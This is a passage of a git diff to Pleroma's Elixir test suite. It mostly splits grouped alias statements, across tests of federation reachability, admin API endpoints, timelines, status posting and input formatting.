	"status" => "hi 4",
	"visibility" => "private",
	"in_reply_to_status_id" => private_activity_2.id
	})

	activities = ActivityPub.fetch_activities([user1.ap_id \| user1.following])

	assert [public_activity, private_activity_1, private_activity_3] == activities
	assert length(activities) == 3

	activities = ActivityPub.contain_timeline(activities, user1)

	assert [public_activity, private_activity_1] == activities
	assert length(activities) == 2
	end
	end

	test "it can fetch plume articles" do
	{:ok, object} =
	ActivityPub.fetch_object_from_id(
	"https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/"
	)

	assert object
	end

	describe "update" do
	test "it creates an update activity with the new user data" do
	user = insert(:user)
	{:ok, user} = Pleroma.Web.WebFinger.ensure_keys_present(user)
	user_data = Pleroma.Web.ActivityPub.UserView.render("user.json", %{user: user})

	{:ok, update} =
	ActivityPub.update(%{
	actor: user_data["id"],
	to: [user.follower_address],
	cc: [],
	object: user_data
	})

	assert update.data["actor"] == user.ap_id
	assert update.data["to"] == [user.follower_address]
	assert update.data["object"]["id"] == user_data["id"]
	assert update.data["object"]["type"] == user_data["type"]
	end
	end

	test "it can fetch peertube videos" do
	{:ok, object} =
	ActivityPub.fetch_object_from_id(
	"https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3"
	)

	assert object
	end

	test "returned pinned statuses" do
	Pleroma.Config.put([:instance, :max_pinned_statuses], 3)
	user = insert(:user)

	{:ok, activity_one} = CommonAPI.post(user, %{"status" => "HI!!!"})
	{:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"})
	{:ok, activity_three} = CommonAPI.post(user, %{"status" => "HI!!!"})

	CommonAPI.pin(activity_one.id, user)
	user = refresh_record(user)

	CommonAPI.pin(activity_two.id, user)
	user = refresh_record(user)

	CommonAPI.pin(activity_three.id, user)
	user = refresh_record(user)

	activities = ActivityPub.fetch_user_activities(user, nil, %{"pinned" => "true"})

	assert 3 = length(activities)
	end

	describe "publish_one/1" do
	test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is not specified",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://200.site/users/nick1/inbox"

	assert {:ok, _} = ActivityPub.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})

	assert called(Instances.set_reachable(inbox))
	end

	test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is set",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://200.site/users/nick1/inbox"

	assert {:ok, _} =
	ActivityPub.publish_one(%{
	inbox: inbox,
	json: "{}",
	actor: actor,
	id: 1,
	unreachable_since: NaiveDateTime.utc_now()
	})

	assert called(Instances.set_reachable(inbox))
	end

	test_with_mock "does NOT call `Instances.set_reachable` on successful federation if `unreachable_since` is nil",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://200.site/users/nick1/inbox"

	assert {:ok, _} =
	ActivityPub.publish_one(%{
	inbox: inbox,
	json: "{}",
	actor: actor,
	id: 1,
	unreachable_since: nil
	})

	refute called(Instances.set_reachable(inbox))
	end

	test_with_mock "calls `Instances.set_unreachable` on target inbox on non-2xx HTTP response code",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://404.site/users/nick1/inbox"

	assert {:error, _} =
	ActivityPub.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})

	assert called(Instances.set_unreachable(inbox))
	end

	test_with_mock "it calls `Instances.set_unreachable` on target inbox on request error of any kind",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://connrefused.site/users/nick1/inbox"

	assert {:error, _} =
	ActivityPub.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})

	assert called(Instances.set_unreachable(inbox))
	end

	test_with_mock "does NOT call `Instances.set_unreachable` if target is reachable",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://200.site/users/nick1/inbox"

	assert {:ok, _} = ActivityPub.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})

	refute called(Instances.set_unreachable(inbox))
	end

	test_with_mock "does NOT call `Instances.set_unreachable` if target instance has non-nil `unreachable_since`",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://connrefused.site/users/nick1/inbox"

	assert {:error, _} =
	ActivityPub.publish_one(%{
	inbox: inbox,
	json: "{}",
	actor: actor,
	id: 1,
	unreachable_since: NaiveDateTime.utc_now()
	})

	refute called(Instances.set_unreachable(inbox))
	end
	end

	def data_uri do
	File.read!("test/fixtures/avatar_data_uri")
	end
	end
	diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs
	index 42450a7b6..a27c26f95 100644
	--- a/test/web/admin_api/admin_api_controller_test.exs
	+++ b/test/web/admin_api/admin_api_controller_test.exs
	@@ -1,284 +1,285 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
	use Pleroma.Web.ConnCase

	- alias Pleroma.{Repo, User}
	+ alias Pleroma.Repo
	+ alias Pleroma.User
	import Pleroma.Factory

	describe "/api/pleroma/admin/user" do
	test "Delete" do
	admin = insert(:user, info: %{is_admin: true})
	user = insert(:user)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> delete("/api/pleroma/admin/user?nickname=#{user.nickname}")

	assert json_response(conn, 200) == user.nickname
	end

	test "Create" do
	admin = insert(:user, info: %{is_admin: true})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> post("/api/pleroma/admin/user", %{
	"nickname" => "lain",
	"email" => "lain@example.org",
	"password" => "test"
	})

	assert json_response(conn, 200) == "lain"
	end
	end

	describe "PUT /api/pleroma/admin/users/tag" do
	setup do
	admin = insert(:user, info: %{is_admin: true})
	user1 = insert(:user, %{tags: ["x"]})
	user2 = insert(:user, %{tags: ["y"]})
	user3 = insert(:user, %{tags: ["unchanged"]})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> put(
	"/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=#{
	user2.nickname
	}&tags[]=foo&tags[]=bar"
	)

	%{conn: conn, user1: user1, user2: user2, user3: user3}
	end

	test "it appends specified tags to users with specified nicknames", %{
	conn: conn,
	user1: user1,
	user2: user2
	} do
	assert json_response(conn, :no_content)
	assert Repo.get(User, user1.id).tags == ["x", "foo", "bar"]
	assert Repo.get(User, user2.id).tags == ["y", "foo", "bar"]
	end

	test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do
	assert json_response(conn, :no_content)
	assert Repo.get(User, user3.id).tags == ["unchanged"]
	end
	end

	describe "DELETE /api/pleroma/admin/users/tag" do
	setup do
	admin = insert(:user, info: %{is_admin: true})
	user1 = insert(:user, %{tags: ["x"]})
	user2 = insert(:user, %{tags: ["y", "z"]})
	user3 = insert(:user, %{tags: ["unchanged"]})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> delete(
	"/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=#{
	user2.nickname
	}&tags[]=x&tags[]=z"
	)

	%{conn: conn, user1: user1, user2: user2, user3: user3}
	end

	test "it removes specified tags from users with specified nicknames", %{
	conn: conn,
	user1: user1,
	user2: user2
	} do
	assert json_response(conn, :no_content)
	assert Repo.get(User, user1.id).tags == []
	assert Repo.get(User, user2.id).tags == ["y"]
	end

	test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do
	assert json_response(conn, :no_content)
	assert Repo.get(User, user3.id).tags == ["unchanged"]
	end
	end

	describe "/api/pleroma/admin/permission_group" do
	test "GET is giving user_info" do
	admin = insert(:user, info: %{is_admin: true})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> get("/api/pleroma/admin/permission_group/#{admin.nickname}")

	assert json_response(conn, 200) == %{
	"is_admin" => true,
	"is_moderator" => false
	}
	end

	test "/:right POST, can add to a permission group" do
	admin = insert(:user, info: %{is_admin: true})
	user = insert(:user)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> post("/api/pleroma/admin/permission_group/#{user.nickname}/admin")

	assert json_response(conn, 200) == %{
	"is_admin" => true
	}
	end

	test "/:right DELETE, can remove from a permission group" do
	admin = insert(:user, info: %{is_admin: true})
	user = insert(:user, info: %{is_admin: true})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> delete("/api/pleroma/admin/permission_group/#{user.nickname}/admin")

	assert json_response(conn, 200) == %{
	"is_admin" => false
	}
	end
	end

	describe "POST /api/pleroma/admin/email_invite, with valid config" do
	setup do
	registrations_open = Pleroma.Config.get([:instance, :registrations_open])
	invites_enabled = Pleroma.Config.get([:instance, :invites_enabled])
	Pleroma.Config.put([:instance, :registrations_open], false)
	Pleroma.Config.put([:instance, :invites_enabled], true)

	on_exit(fn ->
	Pleroma.Config.put([:instance, :registrations_open], registrations_open)
	Pleroma.Config.put([:instance, :invites_enabled], invites_enabled)
	:ok
	end)

	[user: insert(:user, info: %{is_admin: true})]
	end

	test "sends invitation and returns 204", %{conn: conn, user: user} do
	recipient_email = "foo@bar.com"
	recipient_name = "J. D."

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/pleroma/admin/email_invite?email=#{recipient_email}&name=#{recipient_name}")

	assert json_response(conn, :no_content)

	token_record = List.last(Pleroma.Repo.all(Pleroma.UserInviteToken))
	assert token_record
	refute token_record.used

	Swoosh.TestAssertions.assert_email_sent(
	Pleroma.UserEmail.user_invitation_email(
	user,
	token_record,
	recipient_email,
	recipient_name
	)
	)
	end

	test "it returns 403 if requested by a non-admin", %{conn: conn} do
	non_admin_user = insert(:user)

	conn =
	conn
	\|> assign(:user, non_admin_user)
	\|> post("/api/pleroma/admin/email_invite?email=foo@bar.com&name=JD")

	assert json_response(conn, :forbidden)
	end
	end

	describe "POST /api/pleroma/admin/email_invite, with invalid config" do
	setup do
	[user: insert(:user, info: %{is_admin: true})]
	end

	test "it returns 500 if `invites_enabled` is not enabled", %{conn: conn, user: user} do
	registrations_open = Pleroma.Config.get([:instance, :registrations_open])
	invites_enabled = Pleroma.Config.get([:instance, :invites_enabled])
	Pleroma.Config.put([:instance, :registrations_open], false)
	Pleroma.Config.put([:instance, :invites_enabled], false)

	on_exit(fn ->
	Pleroma.Config.put([:instance, :registrations_open], registrations_open)
	Pleroma.Config.put([:instance, :invites_enabled], invites_enabled)
	:ok
	end)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/pleroma/admin/email_invite?email=foo@bar.com&name=JD")

	assert json_response(conn, :internal_server_error)
	end

	test "it returns 500 if `registrations_open` is enabled", %{conn: conn, user: user} do
	registrations_open = Pleroma.Config.get([:instance, :registrations_open])
	invites_enabled = Pleroma.Config.get([:instance, :invites_enabled])
	Pleroma.Config.put([:instance, :registrations_open], true)
	Pleroma.Config.put([:instance, :invites_enabled], true)

	on_exit(fn ->
	Pleroma.Config.put([:instance, :registrations_open], registrations_open)
	Pleroma.Config.put([:instance, :invites_enabled], invites_enabled)
	:ok
	end)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/pleroma/admin/email_invite?email=foo@bar.com&name=JD")

	assert json_response(conn, :internal_server_error)
	end
	end

	test "/api/pleroma/admin/invite_token" do
	admin = insert(:user, info: %{is_admin: true})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> get("/api/pleroma/admin/invite_token")

	assert conn.status == 200
	end

	test "/api/pleroma/admin/password_reset" do
	admin = insert(:user, info: %{is_admin: true})
	user = insert(:user)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> get("/api/pleroma/admin/password_reset?nickname=#{user.nickname}")

	assert conn.status == 200
	end
	end
	diff --git a/test/web/common_api/common_api_utils_test.exs b/test/web/common_api/common_api_utils_test.exs
	index 754bc7255..faed6b685 100644
	--- a/test/web/common_api/common_api_utils_test.exs
	+++ b/test/web/common_api/common_api_utils_test.exs
	@@ -1,109 +1,109 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.CommonAPI.UtilsTest do
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.Endpoint
	- alias Pleroma.Builders.{UserBuilder}
	+ alias Pleroma.Builders.UserBuilder
	use Pleroma.DataCase

	test "it adds attachment links to a given text and attachment set" do
	name =
	"Sakura%20Mana%20%E2%80%93%20Turned%20on%20by%20a%20Senior%20OL%20with%20a%20Temptating%20Tight%20Skirt-s%20Full%20Hipline%20and%20Panty%20Shot-%20Beautiful%20Thick%20Thighs-%20and%20Erotic%20Ass-%20-2015-%20--%20Oppaitime%208-28-2017%206-50-33%20PM.png"

	attachment = %{
	"url" => [%{"href" => name}]
	}

	res = Utils.add_attachments("", [attachment])

	assert res ==
	"<br><a href=\"#{name}\" class='attachment'>Sakura Mana – Turned on by a Se…</a>"
	end

	describe "it confirms the password given is the current users password" do
	test "incorrect password given" do
	{:ok, user} = UserBuilder.insert()

	assert Utils.confirm_current_password(user, "") == {:error, "Invalid password."}
	end

	test "correct password given" do
	{:ok, user} = UserBuilder.insert()
	assert Utils.confirm_current_password(user, "test") == {:ok, user}
	end
	end

	test "parses emoji from name and bio" do
	{:ok, user} = UserBuilder.insert(%{name: ":karjalanpiirakka:", bio: ":perkele:"})

	expected = [
	%{
	"type" => "Emoji",
	"icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}/finmoji/128px/perkele-128.png"},
	"name" => ":perkele:"
	},
	%{
	"type" => "Emoji",
	"icon" => %{
	"type" => "Image",
	"url" => "#{Endpoint.url()}/finmoji/128px/karjalanpiirakka-128.png"
	},
	"name" => ":karjalanpiirakka:"
	}
	]

	assert expected == Utils.emoji_from_profile(user)
	end

	describe "format_input/4" do
	test "works for bare text/plain" do
	text = "hello world!"
	expected = "hello world!"

	output = Utils.format_input(text, [], [], "text/plain")

	assert output == expected

	text = "hello world!\n\nsecond paragraph!"
	expected = "hello world!<br><br>second paragraph!"

	output = Utils.format_input(text, [], [], "text/plain")

	assert output == expected
	end

	test "works for bare text/html" do
	text = "<p>hello world!</p>"
	expected = "<p>hello world!</p>"

	output = Utils.format_input(text, [], [], "text/html")

	assert output == expected

	text = "<p>hello world!</p>\n\n<p>second paragraph</p>"
	expected = "<p>hello world!</p>\n\n<p>second paragraph</p>"

	output = Utils.format_input(text, [], [], "text/html")

	assert output == expected
	end

	test "works for bare text/markdown" do
	text = "hello world"
	expected = "<p><strong>hello world</strong></p>\n"

	output = Utils.format_input(text, [], [], "text/markdown")

	assert output == expected

	text = "hello world\n\nanother paragraph"
	expected = "<p><strong>hello world</strong></p>\n<p><em>another paragraph</em></p>\n"

	output = Utils.format_input(text, [], [], "text/markdown")

	assert output == expected
	end
	end
	end
	diff --git a/test/web/federator_test.exs b/test/web/federator_test.exs
	index 05f813291..9f8d71454 100644
	--- a/test/web/federator_test.exs
	+++ b/test/web/federator_test.exs
	@@ -1,229 +1,230 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.FederatorTest do
	- alias Pleroma.Web.{CommonAPI, Federator}
	+ alias Pleroma.Web.CommonAPI
	+ alias Pleroma.Web.Federator
	alias Pleroma.Instances
	use Pleroma.DataCase
	import Pleroma.Factory
	import Mock

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "enqueues an element according to priority" do
	queue = [%{item: 1, priority: 2}]

	new_queue = Federator.enqueue_sorted(queue, 2, 1)
	assert new_queue == [%{item: 2, priority: 1}, %{item: 1, priority: 2}]

	new_queue = Federator.enqueue_sorted(queue, 2, 3)
	assert new_queue == [%{item: 1, priority: 2}, %{item: 2, priority: 3}]
	end

	test "pop first item" do
	queue = [%{item: 2, priority: 1}, %{item: 1, priority: 2}]

	assert {2, [%{item: 1, priority: 2}]} = Federator.queue_pop(queue)
	end

	describe "Publish an activity" do
	setup do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "HI"})

	relay_mock = {
	Pleroma.Web.ActivityPub.Relay,
	[],
	[publish: fn _activity -> send(self(), :relay_publish) end]
	}

	%{activity: activity, relay_mock: relay_mock}
	end

	test "with relays active, it publishes to the relay", %{
	activity: activity,
	relay_mock: relay_mock
	} do
	with_mocks([relay_mock]) do
	Federator.handle(:publish, activity)
	end

	assert_received :relay_publish
	end

	test "with relays deactivated, it does not publish to the relay", %{
	activity: activity,
	relay_mock: relay_mock
	} do
	Pleroma.Config.put([:instance, :allow_relay], false)

	with_mocks([relay_mock]) do
	Federator.handle(:publish, activity)
	end

	refute_received :relay_publish

	Pleroma.Config.put([:instance, :allow_relay], true)
	end
	end

	describe "Targets reachability filtering in `publish`" do
	test_with_mock "it federates only to reachable instances via AP",
	Federator,
	[:passthrough],
	[] do
	user = insert(:user)

	{inbox1, inbox2} =
	{"https://domain.com/users/nick1/inbox", "https://domain2.com/users/nick2/inbox"}

	insert(:user, %{
	local: false,
	nickname: "nick1@domain.com",
	ap_id: "https://domain.com/users/nick1",
	info: %{ap_enabled: true, source_data: %{"inbox" => inbox1}}
	})

	insert(:user, %{
	local: false,
	nickname: "nick2@domain2.com",
	ap_id: "https://domain2.com/users/nick2",
	info: %{ap_enabled: true, source_data: %{"inbox" => inbox2}}
	})

	dt = NaiveDateTime.utc_now()
	Instances.set_unreachable(inbox1, dt)

	Instances.set_consistently_unreachable(URI.parse(inbox2).host)

	{:ok, _activity} =
	CommonAPI.post(user, %{"status" => "HI @nick1@domain.com, @nick2@domain2.com!"})

	assert called(
	Federator.enqueue(:publish_single_ap, %{inbox: inbox1, unreachable_since: dt})
	)

	refute called(Federator.enqueue(:publish_single_ap, %{inbox: inbox2}))
	end

	test_with_mock "it federates only to reachable instances via Websub",
	Federator,
	[:passthrough],
	[] do
	user = insert(:user)
	websub_topic = Pleroma.Web.OStatus.feed_path(user)

	sub1 =
	insert(:websub_subscription, %{
	topic: websub_topic,
	state: "active",
	callback: "http://pleroma.soykaf.com/cb"
	})

	sub2 =
	insert(:websub_subscription, %{
	topic: websub_topic,
	state: "active",
	callback: "https://pleroma2.soykaf.com/cb"
	})

	dt = NaiveDateTime.utc_now()
	Instances.set_unreachable(sub2.callback, dt)

	Instances.set_consistently_unreachable(sub1.callback)

	{:ok, _activity} = CommonAPI.post(user, %{"status" => "HI"})

	assert called(
	Federator.enqueue(:publish_single_websub, %{
	callback: sub2.callback,
	unreachable_since: dt
	})
	)

	refute called(Federator.enqueue(:publish_single_websub, %{callback: sub1.callback}))
	end

	test_with_mock "it federates only to reachable instances via Salmon",
	Federator,
	[:passthrough],
	[] do
	user = insert(:user)

	remote_user1 =
	insert(:user, %{
	local: false,
	nickname: "nick1@domain.com",
	ap_id: "https://domain.com/users/nick1",
	info: %{salmon: "https://domain.com/salmon"}
	})

	remote_user2 =
	insert(:user, %{
	local: false,
	nickname: "nick2@domain2.com",
	ap_id: "https://domain2.com/users/nick2",
	info: %{salmon: "https://domain2.com/salmon"}
	})

	dt = NaiveDateTime.utc_now()
	Instances.set_unreachable(remote_user2.ap_id, dt)

	Instances.set_consistently_unreachable("domain.com")

	{:ok, _activity} =
	CommonAPI.post(user, %{"status" => "HI @nick1@domain.com, @nick2@domain2.com!"})

	assert called(
	Federator.enqueue(:publish_single_salmon, %{
	recipient: remote_user2,
	unreachable_since: dt
	})
	)

	refute called(Federator.enqueue(:publish_single_websub, %{recipient: remote_user1}))
	end
	end

	describe "Receive an activity" do
	test "successfully processes incoming AP docs with correct origin" do
	params = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"actor" => "http://mastodon.example.org/users/admin",
	"type" => "Create",
	"id" => "http://mastodon.example.org/users/admin/activities/1",
	"object" => %{
	"type" => "Note",
	"content" => "hi world!",
	"id" => "http://mastodon.example.org/users/admin/objects/1",
	"attributedTo" => "http://mastodon.example.org/users/admin"
	},
	"to" => ["https://www.w3.org/ns/activitystreams#Public"]
	}

	{:ok, _activity} = Federator.handle(:incoming_ap_doc, params)
	end

	test "rejects incoming AP docs with incorrect origin" do
	params = %{
	"@context" => "https://www.w3.org/ns/activitystreams",
	"actor" => "https://niu.moe/users/rye",
	"type" => "Create",
	"id" => "http://mastodon.example.org/users/admin/activities/1",
	"object" => %{
	"type" => "Note",
	"content" => "hi world!",
	"id" => "http://mastodon.example.org/users/admin/objects/1",
	"attributedTo" => "http://mastodon.example.org/users/admin"
	},
	"to" => ["https://www.w3.org/ns/activitystreams#Public"]
	}

	:error = Federator.handle(:incoming_ap_doc, params)
	end
	end
	end
	diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs
	index 1a60ad8e6..26c9c25a6 100644
	--- a/test/web/mastodon_api/mastodon_api_controller_test.exs
	+++ b/test/web/mastodon_api/mastodon_api_controller_test.exs
	@@ -1,1784 +1,1789 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
	use Pleroma.Web.ConnCase

	alias Pleroma.Web.TwitterAPI.TwitterAPI
	- alias Pleroma.{Repo, User, Object, Activity, Notification}
	- alias Pleroma.Web.{OStatus, CommonAPI}
	+ alias Pleroma.Repo
	+ alias Pleroma.User
	+ alias Pleroma.Object
	+ alias Pleroma.Activity
	+ alias Pleroma.Notification
	+ alias Pleroma.Web.OStatus
	+ alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.MastodonAPI.FilterView
	alias Ecto.Changeset
	import Pleroma.Factory
	import ExUnit.CaptureLog
	import Tesla.Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "the home timeline", %{conn: conn} do
	user = insert(:user)
	following = insert(:user)

	{:ok, _activity} = TwitterAPI.create_status(following, %{"status" => "test"})

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/timelines/home")

	- assert length(json_response(conn, 200)) == 0
	+ assert Enum.empty?(json_response(conn, 200))

	{:ok, user} = User.follow(user, following)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> get("/api/v1/timelines/home")

	assert [%{"content" => "test"}] = json_response(conn, 200)
	end

	test "the public timeline", %{conn: conn} do
	following = insert(:user)

	capture_log(fn ->
	{:ok, _activity} = TwitterAPI.create_status(following, %{"status" => "test"})

	{:ok, [_activity]} =
	OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873")

	conn =
	conn
	\|> get("/api/v1/timelines/public", %{"local" => "False"})

	assert length(json_response(conn, 200)) == 2

	conn =
	build_conn()
	\|> get("/api/v1/timelines/public", %{"local" => "True"})

	assert [%{"content" => "test"}] = json_response(conn, 200)

	conn =
	build_conn()
	\|> get("/api/v1/timelines/public", %{"local" => "1"})

	assert [%{"content" => "test"}] = json_response(conn, 200)
	end)
	end

	test "posting a status", %{conn: conn} do
	user = insert(:user)

	idempotency_key = "Pikachu rocks!"

	conn_one =
	conn
	\|> assign(:user, user)
	\|> put_req_header("idempotency-key", idempotency_key)
	\|> post("/api/v1/statuses", %{
	"status" => "cofe",
	"spoiler_text" => "2hu",
	"sensitive" => "false"
	})

	{:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key)
	# Six hours
	assert ttl > :timer.seconds(6 * 60 * 60 - 1)

	assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} =
	json_response(conn_one, 200)

	assert Repo.get(Activity, id)

	conn_two =
	conn
	\|> assign(:user, user)
	\|> put_req_header("idempotency-key", idempotency_key)
	\|> post("/api/v1/statuses", %{
	"status" => "cofe",
	"spoiler_text" => "2hu",
	"sensitive" => "false"
	})

	assert %{"id" => second_id} = json_response(conn_two, 200)

	assert id == second_id

	conn_three =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{
	"status" => "cofe",
	"spoiler_text" => "2hu",
	"sensitive" => "false"
	})

	assert %{"id" => third_id} = json_response(conn_three, 200)

	refute id == third_id
	end

	test "posting a sensitive status", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true})

	assert %{"content" => "cofe", "id" => id, "sensitive" => true} = json_response(conn, 200)
	assert Repo.get(Activity, id)
	end

	test "posting a status with OGP link preview", %{conn: conn} do
	Pleroma.Config.put([:rich_media, :enabled], true)
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{
	"status" => "http://example.com/ogp"
	})

	assert %{"id" => id, "card" => %{"title" => "The Rock"}} = json_response(conn, 200)
	assert Repo.get(Activity, id)
	Pleroma.Config.put([:rich_media, :enabled], false)
	end

	test "posting a direct status", %{conn: conn} do
	user1 = insert(:user)
	user2 = insert(:user)
	content = "direct cofe @#{user2.nickname}"

	conn =
	conn
	\|> assign(:user, user1)
	\|> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"})

	assert %{"id" => id, "visibility" => "direct"} = json_response(conn, 200)
	assert activity = Repo.get(Activity, id)
	assert activity.recipients == [user2.ap_id, user1.ap_id]
	assert activity.data["to"] == [user2.ap_id]
	assert activity.data["cc"] == []
	end

	test "direct timeline", %{conn: conn} do
	user_one = insert(:user)
	user_two = insert(:user)

	{:ok, user_two} = User.follow(user_two, user_one)

	{:ok, direct} =
	CommonAPI.post(user_one, %{
	"status" => "Hi @#{user_two.nickname}!",
	"visibility" => "direct"
	})

	{:ok, _follower_only} =
	CommonAPI.post(user_one, %{
	"status" => "Hi @#{user_two.nickname}!",
	"visibility" => "private"
	})

	# Only direct should be visible here
	res_conn =
	conn
	\|> assign(:user, user_two)
	\|> get("api/v1/timelines/direct")

	[status] = json_response(res_conn, 200)

	assert %{"visibility" => "direct"} = status
	assert status["url"] != direct.data["id"]

	# User should be able to see his own direct message
	res_conn =
	build_conn()
	\|> assign(:user, user_one)
	\|> get("api/v1/timelines/direct")

	[status] = json_response(res_conn, 200)

	assert %{"visibility" => "direct"} = status

	# Both should be visible here
	res_conn =
	conn
	\|> assign(:user, user_two)
	\|> get("api/v1/timelines/home")

	[_s1, _s2] = json_response(res_conn, 200)

	# Test pagination
	Enum.each(1..20, fn _ ->
	{:ok, _} =
	CommonAPI.post(user_one, %{
	"status" => "Hi @#{user_two.nickname}!",
	"visibility" => "direct"
	})
	end)

	res_conn =
	conn
	\|> assign(:user, user_two)
	\|> get("api/v1/timelines/direct")

	statuses = json_response(res_conn, 200)
	assert length(statuses) == 20

	res_conn =
	conn
	\|> assign(:user, user_two)
	\|> get("api/v1/timelines/direct", %{max_id: List.last(statuses)["id"]})

	[status] = json_response(res_conn, 200)

	assert status["url"] != direct.data["id"]
	end

	test "replying to a status", %{conn: conn} do
	user = insert(:user)

	{:ok, replied_to} = TwitterAPI.create_status(user, %{"status" => "cofe"})

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})

	assert %{"content" => "xD", "id" => id} = json_response(conn, 200)

	activity = Repo.get(Activity, id)

	assert activity.data["context"] == replied_to.data["context"]
	assert activity.data["object"]["inReplyToStatusId"] == replied_to.id
	end

	test "posting a status with an invalid in_reply_to_id", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""})

	assert %{"content" => "xD", "id" => id} = json_response(conn, 200)

	activity = Repo.get(Activity, id)

	assert activity
	end

	test "verify_credentials", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/verify_credentials")

	assert %{"id" => id, "source" => %{"privacy" => "public"}} = json_response(conn, 200)
	assert id == to_string(user.id)
	end

	test "verify_credentials default scope unlisted", %{conn: conn} do
	user = insert(:user, %{info: %Pleroma.User.Info{default_scope: "unlisted"}})

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/verify_credentials")

	assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = json_response(conn, 200)
	assert id == to_string(user.id)
	end

	test "get a status", %{conn: conn} do
	activity = insert(:note_activity)

	conn =
	conn
	\|> get("/api/v1/statuses/#{activity.id}")

	assert %{"id" => id} = json_response(conn, 200)
	assert id == to_string(activity.id)
	end

	describe "deleting a status" do
	test "when you created it", %{conn: conn} do
	activity = insert(:note_activity)
	author = User.get_by_ap_id(activity.data["actor"])

	conn =
	conn
	\|> assign(:user, author)
	\|> delete("/api/v1/statuses/#{activity.id}")

	assert %{} = json_response(conn, 200)

	refute Repo.get(Activity, activity.id)
	end

	test "when you didn't create it", %{conn: conn} do
	activity = insert(:note_activity)
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> delete("/api/v1/statuses/#{activity.id}")

	assert %{"error" => _} = json_response(conn, 403)

	assert Repo.get(Activity, activity.id) == activity
	end
	end

	describe "filters" do
	test "creating a filter", %{conn: conn} do
	user = insert(:user)

	filter = %Pleroma.Filter{
	phrase: "knights",
